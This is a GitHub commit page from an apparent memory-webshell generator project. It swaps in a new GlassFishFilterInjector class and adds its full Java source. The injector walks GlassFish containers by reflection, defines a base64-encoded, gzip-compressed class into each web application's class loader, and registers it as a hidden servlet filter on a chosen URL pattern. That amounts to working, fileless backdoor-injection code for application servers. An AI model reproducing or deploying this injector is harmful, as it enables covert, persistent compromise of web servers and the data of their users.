Skip to content

Commit aba0575

Browse files
committed
fix: /osgi context not webContext
1 parent 900712b commit aba0575

File tree

2 files changed

+220
-3
lines changed

2 files changed

+220
-3
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,8 @@
22

33
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
44
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
5+
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
56
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
6-
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
77
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
88
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
99
import net.bytebuddy.asm.Advice;
@@ -43,8 +43,8 @@ public InjectorMapping getShellInjectorMapping() {
4343
return InjectorMapping.builder()
4444
.addInjector(LISTENER, TomcatListenerInjector.class)
4545
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
46-
.addInjector(FILTER, TomcatFilterInjector.class)
47-
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
46+
.addInjector(FILTER, GlassFishFilterInjector.class)
47+
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
4848
.addInjector(VALVE, GlassFishValveInjector.class)
4949
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
5050
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
package com.reajason.javaweb.memshell.injector.glassfish;
2+
3+
import java.io.ByteArrayInputStream;
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.IOException;
6+
import java.lang.reflect.Constructor;
7+
import java.lang.reflect.Field;
8+
import java.lang.reflect.Method;
9+
import java.util.ArrayList;
10+
import java.util.List;
11+
import java.util.Map;
12+
import java.util.Set;
13+
import java.util.zip.GZIPInputStream;
14+
15+
/**
16+
* Date: 2022/11/01
17+
* Author: pen4uin
18+
* Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275
19+
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
20+
*
21+
* @author ReaJason
22+
*/
23+
public class GlassFishFilterInjector {
24+
25+
static {
26+
new GlassFishFilterInjector();
27+
}
28+
29+
public String getUrlPattern() {
30+
return "{{urlPattern}}";
31+
}
32+
33+
public String getClassName() {
34+
return "{{className}}";
35+
}
36+
37+
public String getBase64String() {
38+
return "{{base64Str}}";
39+
}
40+
41+
public GlassFishFilterInjector() {
42+
try {
43+
List<Object> contexts = getContext();
44+
for (Object context : contexts) {
45+
// skip glassfish /osgi context
46+
if (getFieldValue(context, "serverContext") != null) {
47+
Object shell = getShell(context);
48+
inject(context, shell);
49+
}
50+
}
51+
} catch (Exception e) {
52+
e.printStackTrace();
53+
}
54+
}
55+
56+
/**
57+
* com.sun.enterprise.web.WebModule
58+
* /xxx/modules/web-glue.jar
59+
*/
60+
public List<Object> getContext() throws Exception {
61+
List<Object> contexts = new ArrayList<Object>();
62+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
63+
for (Thread thread : threads) {
64+
if (thread.getName().contains("ContainerBackgroundProcessor")) {
65+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
66+
for (Object value : childrenMap.values()) {
67+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
68+
contexts.addAll(children.values());
69+
}
70+
}
71+
}
72+
return contexts;
73+
}
74+
75+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
76+
try {
77+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
78+
} catch (Exception e) {
79+
Object loader = invokeMethod(context, "getLoader", null, null);
80+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
81+
}
82+
}
83+
84+
@SuppressWarnings("all")
85+
private Object getShell(Object context) throws Exception {
86+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
87+
try {
88+
return webAppClassLoader.loadClass(getClassName()).newInstance();
89+
} catch (Exception e) {
90+
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
91+
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
92+
defineClass.setAccessible(true);
93+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
94+
return clazz.newInstance();
95+
}
96+
}
97+
98+
@SuppressWarnings("all")
99+
public void inject(Object context, Object shell) throws Exception {
100+
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
101+
System.out.println("filter already injected");
102+
return;
103+
}
104+
Object filterDef;
105+
Object filterMap;
106+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
107+
try {
108+
// tomcat v8+
109+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
110+
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
111+
} catch (Exception e2) {
112+
// tomcat v5+
113+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
114+
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
115+
}
116+
117+
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
118+
try {
119+
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
120+
} catch (Exception e) {
121+
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()});
122+
}
123+
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
124+
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
125+
Constructor<?>[] constructors;
126+
try {
127+
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
128+
} catch (Exception e) {
129+
// tomcat v5
130+
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
131+
}
132+
try {
133+
// v7.0.0 以上
134+
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
135+
} catch (Exception e) {
136+
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
137+
}
138+
139+
Constructor filterConfigConstructor;
140+
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
141+
filterConfigConstructor.setAccessible(true);
142+
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
143+
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
144+
filterConfigs.put(getClassName(), filterConfig);
145+
System.out.println("filter inject success");
146+
}
147+
148+
@SuppressWarnings("all")
149+
public static byte[] decodeBase64(String base64Str) throws Exception {
150+
Class<?> decoderClass;
151+
try {
152+
decoderClass = Class.forName("java.util.Base64");
153+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
154+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
155+
} catch (Exception ignored) {
156+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
157+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
158+
}
159+
}
160+
161+
@SuppressWarnings("all")
162+
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
163+
ByteArrayOutputStream out = new ByteArrayOutputStream();
164+
GZIPInputStream gzipInputStream = null;
165+
try {
166+
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
167+
byte[] buffer = new byte[4096];
168+
int n;
169+
while ((n = gzipInputStream.read(buffer)) > 0) {
170+
out.write(buffer, 0, n);
171+
}
172+
return out.toByteArray();
173+
} finally {
174+
if (gzipInputStream != null) {
175+
gzipInputStream.close();
176+
}
177+
out.close();
178+
}
179+
}
180+
181+
@SuppressWarnings("all")
182+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
183+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
184+
Method method = null;
185+
while (clazz != null && method == null) {
186+
try {
187+
if (paramClazz == null) {
188+
method = clazz.getDeclaredMethod(methodName);
189+
} else {
190+
method = clazz.getDeclaredMethod(methodName, paramClazz);
191+
}
192+
} catch (NoSuchMethodException e) {
193+
clazz = clazz.getSuperclass();
194+
}
195+
}
196+
if (method == null) {
197+
throw new NoSuchMethodException("Method not found: " + methodName);
198+
}
199+
method.setAccessible(true);
200+
return method.invoke(obj instanceof Class ? null : obj, param);
201+
}
202+
203+
@SuppressWarnings("all")
204+
public static Object getFieldValue(Object obj, String name) throws Exception {
205+
Class<?> clazz = obj.getClass();
206+
while (clazz != Object.class) {
207+
try {
208+
Field field = clazz.getDeclaredField(name);
209+
field.setAccessible(true);
210+
return field.get(obj);
211+
} catch (NoSuchFieldException var5) {
212+
clazz = clazz.getSuperclass();
213+
}
214+
}
215+
throw new NoSuchFieldException();
216+
}
217+
}

0 commit comments

Comments
 (0)